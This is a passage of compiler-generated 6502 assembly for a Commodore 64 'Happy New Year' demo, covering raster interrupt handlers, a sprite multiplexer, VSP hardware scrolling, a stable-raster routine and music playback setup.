sta.z PROCPORT
// demo_work()
// Perform any demo work
jsr demo_work
// *IRQ_STATUS = IRQ_RASTER
// Acknowledge the IRQ
lda #IRQ_RASTER
sta IRQ_STATUS
// *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK
// Restore processor port value
lda #PROCPORT_DDR_MEMORY_MASK
sta.z PROCPORT_DDR
// *PROCPORT = port_value
lda.z port_value
sta.z PROCPORT
// }
rega:
lda #0
regx:
ldx #0
regy:
ldy #0
rti
}
.segment CodePart2
// Show sprites from the multiplexer, rescheduling the IRQ for each bucket
irq_swing_plex: {
// Move to the next frame of the plexer
.const YMOVE = 3
.label __7 = $2c
.label __26 = $2c
.label __27 = $2c
.label scroll = $2c
.label new_coarse_scroll = $27
.label x_offset = $43
.label __31 = $2c
sta rega+1
stx regx+1
sty regy+1
// plexBucketShow(plex_bucket)
lda.z plex_bucket
sta.z plexBucketShow.bucket
lda.z plex_bucket+1
sta.z plexBucketShow.bucket+1
//*BORDER_COLOR = DARK_GREY;
// Show the bucket
jsr plexBucketShow
// plex_bucket += BUCKET_SIZE
// Move forward to the next bucket
lda #8*SIZEOF_STRUCT_BUCKETSPRITE
clc
adc.z plex_bucket
sta.z plex_bucket
bcc !+
inc.z plex_bucket+1
!:
// plex_bucket_id++;
inc.z plex_bucket_id
// if(plex_bucket_id<BUCKET_COUNT)
lda.z plex_bucket_id
cmp #9
bcs !__b1+
jmp __b1
!__b1:
// *HARDWARE_IRQ = &irq_swing_top
// We are done with this frame - finish it and perform other stuff!
//VICII->BORDER_COLOR = RED;
// Set up the TOP IRQ
lda #<irq_swing_top
sta HARDWARE_IRQ
lda #>irq_swing_top
sta HARDWARE_IRQ+1
// *RASTER = BUCKET_YPOS[0]
lda BUCKET_YPOS
sta RASTER
// plex_frame_id += YMOVE
lax.z plex_frame_id
axs #-[YMOVE]
stx.z plex_frame_id
// plex_frame += (unsigned int)YMOVE*BUCKET_COUNT*BUCKET_SIZE
lda.z plex_frame
clc
adc #<YMOVE*9*8*SIZEOF_STRUCT_BUCKETSPRITE
sta.z plex_frame
lda.z plex_frame+1
adc #>YMOVE*9*8*SIZEOF_STRUCT_BUCKETSPRITE
sta.z plex_frame+1
// if(plex_frame_id>=FRAME_COUNT)
txa
cmp #8
bcc __b5
// plex_frame -= BUCKET_COUNT*BUCKET_SIZE*FRAME_COUNT
// Reset to start of cycle
lda.z plex_frame
sec
sbc #<9*8*8*SIZEOF_STRUCT_BUCKETSPRITE
sta.z plex_frame
lda.z plex_frame+1
sbc #>9*8*8*SIZEOF_STRUCT_BUCKETSPRITE
sta.z plex_frame+1
// plex_frame_id -= FRAME_COUNT
lax.z plex_frame_id
axs #8
stx.z plex_frame_id
// plex_id_offset--;
dec.z plex_id_offset
__b5:
// update_frame_plex_id_offset(plex_frame_id)
lda.z plex_frame_id
// Update plex_id in the next frame
//VICII->BORDER_COLOR = BLUE;
jsr update_frame_plex_id_offset
// if(p2_logo_swinging)
lda.z p2_logo_swinging
beq __b6
// unsigned int scroll = VSP_SINTABLE[(unsigned int)(vsp_sin_idx++)]
lda.z vsp_sin_idx
sta.z __27
lda #0
sta.z __27+1
asl.z __26
rol.z __26+1
lda.z __31
clc
adc #<VSP_SINTABLE
sta.z __31
lda.z __31+1
adc #>VSP_SINTABLE
sta.z __31+1
// Update the VSP value with a sinus
ldy #0
lda (scroll),y
pha
iny
lda (scroll),y
sta.z scroll+1
pla
sta.z scroll
inc.z vsp_sin_idx
// (char)scroll&7
and #7
// vsp_fine_scroll = (char)scroll&7
sta.z vsp_fine_scroll
// scroll/8
lsr.z __7+1
ror.z __7
lsr.z __7+1
ror.z __7
lsr.z __7+1
ror.z __7
// char new_coarse_scroll = (char)(scroll/8)
lda.z __7
sta.z new_coarse_scroll
// char coarse_scroll_diff = vsp_coarse_scroll - new_coarse_scroll
// Update the VSP value with a sinus
lda.z vsp_coarse_scroll
sec
sbc.z new_coarse_scroll
// if(coarse_scroll_diff==0x01)
// Update screen column (if needed)
cmp #1
beq __b7
// if(coarse_scroll_diff==0xff)
cmp #$ff
bne __b8
// char x_offset = 0x27-vsp_coarse_scroll
// Moving right - put a new column at the left border
lda #$27
sec
sbc.z vsp_coarse_scroll
sta.z x_offset
// vsp_update_screen(x_offset)
sta.z vsp_update_screen.x_offset
jsr vsp_update_screen
// (PART2_SCREEN+24*40)[x_offset] = 0
// Clear line 25 - because the start of the last line was over-written by line #24 chars 40-80
lda #0
ldy.z x_offset
sta PART2_SCREEN+$18*$28,y
// (COLS+24*40)[x_offset] = 0
//(LOGO_DATA_SCREEN+24*80)[x_offset];
sta COLS+$18*$28,y
__b8:
// vsp_coarse_scroll = new_coarse_scroll
lda.z new_coarse_scroll
sta.z vsp_coarse_scroll
// 40-vsp_coarse_scroll
lda #$28
sec
sbc.z vsp_coarse_scroll
// vsp_scroll = 40-vsp_coarse_scroll
sta.z vsp_scroll
__b6:
// if(p2_plex_scroller_moving)
lda.z p2_plex_scroller_moving
beq __b9
// plex_scroller_move()
jsr plex_scroller_move
// if(++sprite_color_idx == sizeof(SPRITE_COLOR_SEQUENCE))
inc.z sprite_color_idx
lda #$30*SIZEOF_CHAR
cmp.z sprite_color_idx
bne __b3
// sprite_color_idx = 0
lda #0
sta.z sprite_color_idx
__b3:
ldx #0
__b10:
// for(char s=0;s<8;s++)
cpx #8
bcc __b11
__b9:
// p2_work_ready = 1
// Signal the main routine
lda #1
sta.z p2_work_ready
__b2:
// *IRQ_STATUS = IRQ_RASTER
// Acknowledge the IRQ
lda #IRQ_RASTER
sta IRQ_STATUS
// }
rega:
lda #0
regx:
ldx #0
regy:
ldy #0
rti
__b11:
// SPRITES_COLOR[s] = SPRITE_COLOR_SEQUENCE[sprite_color_idx]
ldy.z sprite_color_idx
lda SPRITE_COLOR_SEQUENCE,y
sta SPRITES_COLOR,x
// for(char s=0;s<8;s++)
inx
jmp __b10
__b7:
// char x_offset = 0x50-vsp_coarse_scroll
// Moving left - put a new column at the right border
lda #$50
sec
sbc.z vsp_coarse_scroll
// vsp_update_screen(x_offset)
sta.z vsp_update_screen.x_offset
// Only move 24 - because the last line is empty (and holds sprite pointers)
jsr vsp_update_screen
jmp __b8
__b1:
// *HARDWARE_IRQ = &irq_swing_plex
// Not done with the frame yet - set up the next PLEX IRQ (handles the rest of the multiplexer buckets)
lda #<irq_swing_plex
sta HARDWARE_IRQ
lda #>irq_swing_plex
sta HARDWARE_IRQ+1
// *RASTER = BUCKET_YPOS[plex_bucket_id]
ldy.z plex_bucket_id
lda BUCKET_YPOS,y
sta RASTER
jmp __b2
}
// Show sprites from the multiplexer, rescheduling the IRQ as many times as needed
irq_swing_vsp: {
sta rega+1
stx regx+1
// kickasm
// Stabilize the raster by using the double IRQ method
// Acknowledge the IRQ
lda #IRQ_RASTER
sta IRQ_STATUS
// Set-up IRQ for the next line
inc RASTER
// Point IRQ to almost stable code
lda #<stable
sta HARDWARE_IRQ
lda #>stable
sta HARDWARE_IRQ+1
tsx // Save stack pointer
cli // Reenable interrupts
// Wait for new IRQ using NOP's to ensure minimal jitter when it hits
.fill 15, NOP
.align $100
stable:
txs // Restore stack pointer
ldx #9 // Wait till the raster has almost crossed to the next line (48 cycles)
!: dex
bne !-
nop
lda RASTER
cmp RASTER
bne !+ // And correct the last cycle of potential jitter
!:
// Raster is now completely stable! (Line $2f cycle 7)
// Perform VSP by waiting an exact number of cycles and then enabling the display
// See http://www.zimmers.net/cbmpics/cbm/c64/vic-ii.txt (Section 3.14.6. DMA delay)
ldx #8 // Wait 45 cycles to get the VSP timing right
!: dex
bne !-
nop
nop
lda vsp_scroll
lsr // Put bit 0 into carry
bcc dma1 // Spend 2 or 3 cycles depending on the carry (bit 0)
dma1:
sta dma2+1 // Update the branch
clv
dma2:
bvc dma2 // This branch is updated with vsp_scroll/2 - changing the number of NOP's executed
// 20 NOP's - enabling vsp scroll from 0-40
.fill 20, NOP
ldx #$18
lda #$1b // TODO: To control Y-scrolling this must be flexible!
// The STX $d011 must be line $30 cycle $10 for vsp_scroll==0
stx VICII_CONTROL1 // Enable the display - starts DMA
sta VICII_CONTROL1
// VICII->CONTROL1 |= VICII_BMM
// Set BMM
lda #VICII_BMM
ora VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1
sta VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1
// vsp_fine_scroll | VICII_MCM
lda #VICII_MCM
ora.z vsp_fine_scroll
// VICII->CONTROL2 = vsp_fine_scroll | VICII_MCM
// Set fine scroll (and MCM)
sta VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL2
// *IRQ_STATUS = IRQ_RASTER
//*BORDER_COLOR = DARK_GREY;
// Acknowledge the IRQ
lda #IRQ_RASTER
sta IRQ_STATUS
// *HARDWARE_IRQ = &irq_swing_plex
// Set up the PLEX IRQ (handles the rest of the multiplexer buckets)
lda #<irq_swing_plex
sta HARDWARE_IRQ
lda #>irq_swing_plex
sta HARDWARE_IRQ+1
// *RASTER = BUCKET_YPOS[1]
lda BUCKET_YPOS+1
sta RASTER
// }
rega:
lda #0
regx:
ldx #0
rti
}
// Inititialize plex frame and show first bucket
irq_swing_top: {
sta rega+1
stx regx+1
sty regy+1
// plexFrameStart()
//*BORDER_COLOR = DARK_GREY;
//VICII->BORDER_COLOR++;
// Initialize the multiplexer frame
jsr plexFrameStart
// plex_bucket = plex_frame
lda.z plex_frame
sta.z plex_bucket
lda.z plex_frame+1
sta.z plex_bucket+1
// plex_bucket_id = 0
lda #0
sta.z plex_bucket_id
// plexBucketShow(plex_bucket)
lda.z plex_bucket
sta.z plexBucketShow.bucket
lda.z plex_bucket+1
sta.z plexBucketShow.bucket+1
// Show the first bucket
jsr plexBucketShow
// plex_bucket += BUCKET_SIZE
// Move forward to the next bucket
lda #8*SIZEOF_STRUCT_BUCKETSPRITE
clc
adc.z plex_bucket
sta.z plex_bucket
bcc !+
inc.z plex_bucket+1
!:
// plex_bucket_id++;
inc.z plex_bucket_id
// *IRQ_STATUS = IRQ_RASTER
// Acknowledge the IRQ
lda #IRQ_RASTER
sta IRQ_STATUS
// *HARDWARE_IRQ = &irq_swing_vsp
// Set up the VSP IRQ
lda #<irq_swing_vsp
sta HARDWARE_IRQ
lda #>irq_swing_vsp
sta HARDWARE_IRQ+1
// *RASTER = IRQ_SWING_VSP_LINE
lda #IRQ_SWING_VSP_LINE
sta RASTER
// }
rega:
lda #0
regx:
ldx #0
regy:
ldy #0
rti
}
.segment CodePart1
// IRQ running during set-up
// Flips from start screen to bitmap (starts the start-up screen)
irq_flipper_bottom: {
.const toD0181_return = (>(LOAD_SCREEN&$3fff)*4)|(>LOAD_CHARSET)/4&$f
.label __7 = $3c
.label __9 = $3e
.label __12 = $32
.label irq_flipper_line = $32
.label __14 = $32
sta rega+1
stx regx+1
sty regy+1
// asm
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
// BYTE0(irq_flipper_bottom_line)
lda.z irq_flipper_bottom_line
// BYTE0(irq_flipper_bottom_line)&7
and #7
// raster_fine(BYTE0(irq_flipper_bottom_line)&7)
sta.z raster_fine.line_offset
jsr raster_fine
// asm
// Colors
nop
nop
nop
nop
// VICII->BORDER_COLOR = LIGHT_BLUE
lda #LIGHT_BLUE
sta VICII+OFFSET_STRUCT_MOS6569_VICII_BORDER_COLOR
// VICII->BG_COLOR = BLUE
lda #BLUE
sta VICII+OFFSET_STRUCT_MOS6569_VICII_BG_COLOR
// VICII->MEMORY = toD018(LOAD_SCREEN, LOAD_CHARSET)
// Show default screen
lda #toD0181_return
sta VICII+OFFSET_STRUCT_MOS6569_VICII_MEMORY
// if(!flipper_done)
lda.z flipper_done
bne __b1
// unsigned int irq_flipper_line = FLIPPER_EASING[irq_flipper_idx++]
lda.z irq_flipper_idx
asl
sta.z __12
lda.z irq_flipper_idx+1
rol
sta.z __12+1
lda.z __14
clc
adc #<FLIPPER_EASING
sta.z __14
lda.z __14+1
adc #>FLIPPER_EASING
sta.z __14+1
// Move the flipper down
ldy #0
lda (irq_flipper_line),y
pha
iny
lda (irq_flipper_line),y
sta.z irq_flipper_line+1
pla
sta.z irq_flipper_line
inc.z irq_flipper_idx
bne !+
inc.z irq_flipper_idx+1
!:
// if(irq_flipper_line<8)
// Check limits
lda.z irq_flipper_line+1
bne !+
lda.z irq_flipper_line
cmp #8
bcc __b4
!:
// irq_flipper_line-8
sec
lda.z irq_flipper_line
sbc #8
sta.z __7
lda.z irq_flipper_line+1
sbc #0
sta.z __7+1
// irq_flipper_top_line = irq_flipper_line-8
lda.z __7
sta.z irq_flipper_top_line
lda.z __7+1
sta.z irq_flipper_top_line+1
__b5:
// if(irq_flipper_line>0x128)
lda #>$128
cmp.z irq_flipper_line+1
bcc __b6
bne !+
lda #<$128
cmp.z irq_flipper_line
bcc __b6
!:
// irq_flipper_line+8
lda #8
clc
adc.z irq_flipper_line
sta.z __9
lda #0
adc.z irq_flipper_line+1
sta.z __9+1
// irq_flipper_bottom_line = irq_flipper_line+8
lda.z __9
sta.z irq_flipper_bottom_line
lda.z __9+1
sta.z irq_flipper_bottom_line+1
__b7:
// if(irq_flipper_line==0x130)
lda.z irq_flipper_line+1
cmp #>$130
bne __b1
lda.z irq_flipper_line
cmp #<$130
bne __b1
// flipper_done = 1
lda #1
sta.z flipper_done
__b1:
// *VICII_CONTROL1 |=0x80
// Set up the IRQ again
lda #$80
ora VICII_CONTROL1
sta VICII_CONTROL1
// *RASTER = IRQ_PART1_TOP_LINE
lda #IRQ_PART1_TOP_LINE
sta RASTER
// *HARDWARE_IRQ = &irq_part1_top
lda #<irq_part1_top
sta HARDWARE_IRQ
lda #>irq_part1_top
sta HARDWARE_IRQ+1
// *IRQ_STATUS = IRQ_RASTER
// Acknowledge the IRQ
lda #IRQ_RASTER
sta IRQ_STATUS
// }
rega:
lda #0
regx:
ldx #0
regy:
ldy #0
rti
__b6:
// irq_flipper_bottom_line = 0x130
lda #<$130
sta.z irq_flipper_bottom_line
lda #>$130
sta.z irq_flipper_bottom_line+1
jmp __b7
__b4:
// irq_flipper_top_line = 0
lda #<0
sta.z irq_flipper_top_line
sta.z irq_flipper_top_line+1
jmp __b5
}
// IRQ running during set-up
// Flips from start screen to bitmap (stops the bitmap)
irq_flipper_top: {
sta rega+1
stx regx+1
sty regy+1
// asm
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
// BYTE0(irq_flipper_top_line)
lda.z irq_flipper_top_line
// BYTE0(irq_flipper_top_line)&7
and #7
// raster_fine(BYTE0(irq_flipper_top_line)&7)
sta.z raster_fine.line_offset
jsr raster_fine
// asm
lda #$9a
ldx #LIGHT_GREEN
ldy #$1b
sta VICII_MEMORY
stx BORDER_COLOR
sty VICII_CONTROL1
stx BG_COLOR
lda #$c8
sta VICII_CONTROL2
// BYTE1(irq_flipper_bottom_line)
lda.z irq_flipper_bottom_line+1
// if(BYTE1(irq_flipper_bottom_line))
// Set up the flipper IRQ
cmp #0
bne __b1
// *VICII_CONTROL1 &= 0x7f
lda #$7f
and VICII_CONTROL1
sta VICII_CONTROL1
__b2:
// BYTE0(irq_flipper_bottom_line)
lda.z irq_flipper_bottom_line
// BYTE0(irq_flipper_bottom_line)&0xf8
and #$f8
// *RASTER = BYTE0(irq_flipper_bottom_line)&0xf8
sta RASTER
// *HARDWARE_IRQ = &irq_flipper_bottom
lda #<irq_flipper_bottom
sta HARDWARE_IRQ
lda #>irq_flipper_bottom
sta HARDWARE_IRQ+1
// *IRQ_STATUS = IRQ_RASTER
// Acknowledge the IRQ
lda #IRQ_RASTER
sta IRQ_STATUS
// }
rega:
lda #0
regx:
ldx #0
regy:
ldy #0
rti
__b1:
// *VICII_CONTROL1 |= 0x80
lda #$80
ora VICII_CONTROL1
sta VICII_CONTROL1
jmp __b2
}
// IRQ running during set-up
irq_part1_top: {
.const toDd001_return = 0
.const toD0181_return = >(P1_SCREEN&$3fff)*4
sta rega+1
// VICII->BORDER_COLOR = BLACK
// Colors
lda #BLACK
sta VICII+OFFSET_STRUCT_MOS6569_VICII_BORDER_COLOR
// VICII->BG_COLOR = BLACK
sta VICII+OFFSET_STRUCT_MOS6569_VICII_BG_COLOR
// VICII->CONTROL1 |= VICII_BMM
// Set BMM
lda #VICII_BMM
ora VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1
sta VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1
// VICII->CONTROL2 |= VICII_MCM
// Set MCM
lda #VICII_MCM
ora VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL2
sta VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL2
// CIA2->PORT_A = toDd00(P1_SCREEN)
// Change graphics bank
lda #toDd001_return
sta CIA2
// VICII->MEMORY = toD018(P1_SCREEN, P1_PIXELS)
// Show screen
lda #toD0181_return
sta VICII+OFFSET_STRUCT_MOS6569_VICII_MEMORY
// BYTE1(irq_flipper_top_line)
lda.z irq_flipper_top_line+1
// if(BYTE1(irq_flipper_top_line))
// Set up the flipper IRQ
cmp #0
bne __b1
// *VICII_CONTROL1 &= 0x7f
lda #$7f
and VICII_CONTROL1
sta VICII_CONTROL1
__b2:
// BYTE0(irq_flipper_top_line)
lda.z irq_flipper_top_line
// BYTE0(irq_flipper_top_line)&0xf8
and #$f8
// *RASTER = BYTE0(irq_flipper_top_line)&0xf8
sta RASTER
// *HARDWARE_IRQ = &irq_flipper_top
lda #<irq_flipper_top
sta HARDWARE_IRQ
lda #>irq_flipper_top
sta HARDWARE_IRQ+1
// p1_work_ready = 1
// Signal main routine to play music
lda #1
sta.z p1_work_ready
// *IRQ_STATUS = IRQ_RASTER
// Acknowledge the IRQ
lda #IRQ_RASTER
sta IRQ_STATUS
// }
rega:
lda #0
rti
__b1:
// *VICII_CONTROL1 |= 0x80
lda #$80
ora VICII_CONTROL1
sta VICII_CONTROL1
jmp __b2
}
.segment Code
main: {
// demo_init()
// Initialize the demo - start the IRQ
jsr demo_init
// byteboozer_decrunch(DEMO_MUSIC_CRUNCHED)
lda #<DEMO_MUSIC_CRUNCHED
sta.z byteboozer_decrunch.crunched
lda #>DEMO_MUSIC_CRUNCHED
sta.z byteboozer_decrunch.crunched+1
// Decrunch music
jsr byteboozer_decrunch
// asm
// Init music
lda #0
// (*musicInit)()
jsr musicInit
// demo_start()
// Initialize the demo - start the IRQ
jsr demo_start
// part1_init()
// Initialize Part 1 (Revealing "Happy New Year" logo)
jsr part1_init
// Start part 1 at 0:04,5
__b2:
// while(demo_frame_count<5*50)
lda.z demo_frame_count+1
bne !+
lda.z demo_frame_count
cmp #5*$32
bcc __b2
!:
// part1_run()
// Run Part 1 (Revealing "Happy New Year" logo)
jsr part1_run
// part2_init()
// Initialize part 2
jsr part2_init
// Wait for the right place to start part 2
__b4:
// while(demo_frame_count<16*50)
lda.z demo_frame_count+1
cmp #>$10*$32
bcc __b4
bne !+
lda.z demo_frame_count
cmp #<$10*$32
bcc __b4
!:
// sparkler_active = 0
// Disable sparkler
lda #0
sta.z sparkler_active
// part2_run()
// Run part 2
jsr part2_run
__b6:
jmp __b6
}
// Work to be performed every frame while the demo runs
// Assumes that I/O is enabled
demo_work: {
// demo_frame_count++;
inc.z demo_frame_count
bne !+
inc.z demo_frame_count+1
!:
// (*musicPlay)()
// Play music
jsr musicPlay
// if(sparkler_active)
lda.z sparkler_active
beq __breturn
// sparkler_anim()
jsr sparkler_anim
__breturn:
// }
rts
}
.segment CodePart2
// Show the sprites in a specific bucket
// - bucket: The bucket to show
// void plexBucketShow(__zp($38) struct BucketSprite *bucket)
plexBucketShow: {
.label i = $2b
.label bucket = $38
// char real_idx = plex_real_sprite_idx*2
lda.z plex_real_sprite_idx
asl
tax
ldy #0
__b1:
// while(bucket_ptr[i])
lda (bucket),y
cmp #0
bne __b2
__b5:
// real_idx/2
txa
lsr
// plex_real_sprite_idx = real_idx/2
sta.z plex_real_sprite_idx
// }
rts
__b2:
// SPRITES_YPOS[real_idx] = bucket_ptr[i++]
lda (bucket),y
sta SPRITES_YPOS,x
// SPRITES_YPOS[real_idx] = bucket_ptr[i++];
iny
sty.z i
// char plex_id = bucket_ptr[i]
lda (bucket),y
tay
// SPRITES_XPOS[real_idx] = PLEX_XPOS[plex_id]
lda PLEX_XPOS,y
sta SPRITES_XPOS,x
// real_idx /= 2
txa
lsr
tax
// if(PLEX_XPOS_MSB[plex_id])
lda PLEX_XPOS_MSB,y
cmp #0
bne __b3
// *SPRITES_XMSB &= MSB_CLEAR_MASK_BY_ID[real_idx]
lda SPRITES_XMSB
and MSB_CLEAR_MASK_BY_ID,x
sta SPRITES_XMSB
__b4:
// SCREEN_SPRITE_PTRS[real_idx] = PLEX_PTR[plex_id]
lda PLEX_PTR,y
sta SCREEN_SPRITE_PTRS,x
// real_idx+1
inx
txa
// real_idx = (real_idx+1)&7
and #7
// real_idx *= 2
asl
tax
// i++;
ldy.z i
iny
// if(i==BUCKET_SIZE*sizeof(struct BucketSprite))
cpy #8*SIZEOF_STRUCT_BUCKETSPRITE
beq __b5
jmp __b1
__b3:
// *SPRITES_XMSB |= MSB_SET_MASK_BY_ID[real_idx]
lda SPRITES_XMSB
ora MSB_SET_MASK_BY_ID,x
sta SPRITES_XMSB
jmp __b4
.segment DataPart2
// Masks used for MSB
MSB_SET_MASK_BY_ID: .byte 1, 2, 4, 8, $10, $20, $40, $80
MSB_CLEAR_MASK_BY_ID: .byte $fe, $fd, $fb, $f7, $ef, $df, $bf, $7f
}
.segment CodePart2
// Update the plex_id's of a multiplexer frame to reflect a specific plex_id_offset
// void update_frame_plex_id_offset(__register(A) char plex_frame_id)
update_frame_plex_id_offset: {
.label jmp_table = PLEX_ID_UPDATERS
.label jmp_address = $2e
// unsigned int jmp_address = jmp_table[plex_frame_id]
asl
tay
lda jmp_table,y
sta.z jmp_address
lda jmp_table+1,y
sta.z jmp_address+1
// kickasm
lda jmp_address
sta call+1
lda jmp_address+1
sta call+2
call: jsr $0000
// }
rts
}
// Update screen, colors and bitmap with a single column of new data
// - x_offset is the offset of the column to update (0-79)
// void vsp_update_screen(__zp($1b) volatile char x_offset)
vsp_update_screen: {
.label x_offset = $1b
.label x_offset8 = $10
.label __5 = 9
// kickasm
// Update screen and colors
ldx x_offset
.for(var row=0;row<24;row++) {
lda LOGO_DATA+80*row,x
sta PART2_SCREEN+40*row,x
lda LOGO_DATA_COLORS+80*row,x
sta COLS+40*row,x
}
// *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK
// Disable I/O (BITMAP is below I/O)
lda #PROCPORT_DDR_MEMORY_MASK
sta.z PROCPORT_DDR
// *PROCPORT = PROCPORT_RAM_ALL
lda #PROCPORT_RAM_ALL
sta.z PROCPORT
// unsigned int x_offset8 = (unsigned int)x_offset*8
lda.z x_offset
sta.z __5
lda #0
sta.z __5+1
// Update bitmap (using 3 routines to handle all bitmap columns)
lda.z __5
asl
sta.z x_offset8
lda.z __5+1
rol
sta.z x_offset8+1
asl.z x_offset8
rol.z x_offset8+1
asl.z x_offset8
rol.z x_offset8+1
// BYTE1(x_offset8)
lda.z x_offset8+1
// if(BYTE1(x_offset8) == 0)
cmp #0
bne !__b1+
jmp __b1
!__b1:
// BYTE1(x_offset8)
// if(BYTE1(x_offset8) == 1)
cmp #1
bne !__b2+
jmp __b2
!__b2:
// kickasm
// >x_offset8 == 2
ldx x_offset
ldy x_offset8
.for(var row=0;row<24;row++)
.for(var pix=0;pix<8;pix++) {
lda LOGO_DATA_BITMAP+80*(row*8+pix),x
sta PART2_BITMAP+$200+row*40*8+pix,y
}
__b3:
// *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK
lda #PROCPORT_DDR_MEMORY_MASK
sta.z PROCPORT_DDR
// *PROCPORT = PROCPORT_RAM_IO
lda #PROCPORT_RAM_IO
sta.z PROCPORT
// }
rts
__b2:
// kickasm
ldx x_offset
ldy x_offset8
.for(var row=0;row<24;row++)
.for(var pix=0;pix<8;pix++) {
lda LOGO_DATA_BITMAP+80*(row*8+pix),x
sta PART2_BITMAP+$100+row*40*8+pix,y
}
jmp __b3
__b1:
ldx x_offset
ldy x_offset8
.for(var row=0;row<24;row++)
.for(var pix=0;pix<8;pix++) {
lda LOGO_DATA_BITMAP+80*(row*8+pix),x
sta PART2_BITMAP+row*40*8+pix,y
}
jmp __b3
}
// Scroll the plex sprites to the left.
plex_scroller_move: {
.const toSpritePtr1_return = $ff&PART2_SPRITES/$40
.label s = $27
// char x_idx = x_movement_idx
ldx.z x_movement_idx
lda #0
sta.z s
__b1:
// for(char s=0; s<PLEX_COUNT;s++)
lda.z s
cmp #$20
bcc __b2
// x_movement_idx++;
inc.z x_movement_idx
// }
rts
__b2:
// PLEX_XPOS[s] = XMOVEMENT[x_idx]
lda XMOVEMENT,x
ldy.z s
sta PLEX_XPOS,y
// PLEX_XPOS_MSB[s] = XMOVEMENT_HI[x_idx]
lda XMOVEMENT_HI,x
sta PLEX_XPOS_MSB,y
// if(x_idx==0)
cpx #0
bne __b4
// if(*scroll_text_next==0x00)
ldy #0
lda (scroll_text_next),y
cmp #0
bne __b5
// scroll_text_next = SCROLL_TEXT
lda #<SCROLL_TEXT
sta.z scroll_text_next
lda #>SCROLL_TEXT
sta.z scroll_text_next+1
__b5:
// char letter = *scroll_text_next++
// Read next char from the scroll text
ldy #0
lda (scroll_text_next),y
inc.z scroll_text_next
bne !+
inc.z scroll_text_next+1
!:
// if(letter==0xff)
cmp #$ff
bne __b9
lda #0
__b9:
// SPRITE_0+letter
clc
adc #toSpritePtr1_return
// PLEX_PTR[s] = SPRITE_0+letter
// Add the letter
ldy.z s
sta PLEX_PTR,y
__b4:
// x_idx +=8
txa
axs #-[8]
// for(char s=0; s<PLEX_COUNT;s++)
inc.z s
jmp __b1
}
// Start a new frame (initializing data structures)
plexFrameStart: {
// plex_real_sprite_idx = 0
lda #0
sta.z plex_real_sprite_idx
// }
rts
}
.segment CodePart1
// Waits until at the exact start of raster line
// Excepts to start at a line divisible by 8 (0x00, 0x08, x010, ...).
// Waits line_offset (0-7) additional lines.
// void raster_fine(__zp($44) volatile char line_offset)
raster_fine: {
.label line_offset = $44
// kickasm
jmp aligned
.align $100
aligned:
ldy RASTER
ldx line_offset
inx
rst:
nop
nop
nop
nop
dex // 2
beq done // 2
lda RASTER_BADLINES,y // 4
beq notbad // 3
bad:
nop // 2
nop
nop
nop
nop
dex
beq done
iny
nop
bit $ea
notbad:
.fill 18, NOP
bit $ea
iny
jmp rst
done:
// }
rts
}
.segment Code
// Initialize demo code.
// Can be called multiple times!
// Setting IRQ to the "demo" IRQ running outside the parts and
// Setting memory to IO + RAM (no kernal/basic)
demo_init: {
// asm
sei
// *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK
// Disable kernal & basic
lda #PROCPORT_DDR_MEMORY_MASK
sta.z PROCPORT_DDR
// *PROCPORT = PROCPORT_RAM_IO
lda #PROCPORT_RAM_IO
sta.z PROCPORT
// CIA1->INTERRUPT = CIA_INTERRUPT_CLEAR
// Disable CIA 1 Timer IRQ
lda #CIA_INTERRUPT_CLEAR
sta CIA1+OFFSET_STRUCT_MOS6526_CIA_INTERRUPT
// asm
// Acknowledge any timer IRQ
lda CIA1_INTERRUPT
// *IRQ_STATUS = 0x0f
// Acknowledge any VIC IRQ
lda #$f
sta IRQ_STATUS
// }
rts
}
// Decrunch crunched data using ByteBoozer
// - crunched: Pointer to the start of the crunched data
// void byteboozer_decrunch(__zp($29) char * volatile crunched)
byteboozer_decrunch: {
.label crunched = $29
// asm
ldy crunched
ldx crunched+1
jsr b2.Decrunch
// }
rts
}
// Start the demo IRQ. Can be called multiple times!
// Setting IRQ to the "demo" IRQ running outside the parts and
// Setting memory to IO + RAM (no kernal/basic)
demo_start: {
// demo_init()
jsr demo_init
// *VICII_CONTROL1 &= 0x7f
// Set raster line to 0x00
lda #$7f
and VICII_CONTROL1
sta VICII_CONTROL1
// *RASTER = 0
lda #0
sta RASTER
// *HARDWARE_IRQ = &irq_demo
// Set the IRQ routine
lda #<irq_demo
sta HARDWARE_IRQ
lda #>irq_demo
sta HARDWARE_IRQ+1
// *IRQ_ENABLE = IRQ_RASTER
// Enable Raster Interrupt
lda #IRQ_RASTER
sta IRQ_ENABLE
// asm
cli
// }
rts
}
.segment CodePart1
part1_init: {
// *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK
// Disable IO
lda #PROCPORT_DDR_MEMORY_MASK
sta.z PROCPORT_DDR
// *PROCPORT = PROCPORT_RAM_ALL
lda #PROCPORT_RAM_ALL
sta.z PROCPORT
// byteboozer_decrunch(P1_PIXELS_CRUNCHED)
lda #<P1_PIXELS_CRUNCHED
sta.z byteboozer_decrunch.crunched
lda #>P1_PIXELS_CRUNCHED
sta.z byteboozer_decrunch.crunched+1
// Decrunch pixels
jsr byteboozer_decrunch
// *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK
// Enable IO, Disable kernal & basic
lda #PROCPORT_DDR_MEMORY_MASK
sta.z PROCPORT_DDR
// *PROCPORT = PROCPORT_RAM_IO
lda #PROCPORT_RAM_IO
sta.z PROCPORT
// byteboozer_decrunch(P1_SCREEN_CRUNCHED)
lda #<P1_SCREEN_CRUNCHED
sta.z byteboozer_decrunch.crunched
lda #>P1_SCREEN_CRUNCHED
sta.z byteboozer_decrunch.crunched+1
// Decrunch screen
jsr byteboozer_decrunch
// byteboozer_decrunch(P1_COLORS_CRUNCHED)
lda #<P1_COLORS_CRUNCHED
sta.z byteboozer_decrunch.crunched
